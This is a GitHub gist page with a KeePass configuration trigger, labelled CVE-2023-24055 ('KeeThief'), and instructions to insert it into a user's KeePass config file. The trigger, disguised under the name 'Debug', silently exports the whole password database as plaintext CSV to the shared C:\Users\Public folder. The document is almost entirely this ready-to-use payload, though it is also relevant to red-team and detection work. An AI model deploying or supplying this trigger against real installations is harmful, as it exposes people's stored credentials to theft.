Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Last active January 26, 2023 19:33
Show Gist options
  • Save mgeeky/6ce72a464a691f5c105fffa1bddab301 to your computer and use it in GitHub Desktop.
Save mgeeky/6ce72a464a691f5c105fffa1bddab301 to your computer and use it in GitHub Desktop.
KeePass Export Database Trigger XML - aka CVE-2023-24055 aka KeeThief . Insert this XML into %APPDATA%\Roaming\KeePass\KeePass.config.xml
<TriggerCollection
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<Triggers>
<Trigger>
<Guid>Ab8CqzeKQUuKdzTx4tKy7A==</Guid>
<Name>Debug</Name>
<Events>
<Event>
<TypeGuid>5f8TBoW4QYm5BvaeKztApw==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>C:\Users\Public\{DB_BASENAME}.csv</Parameter>
<Parameter>KeePass CSV (1.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
</TriggerCollection>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment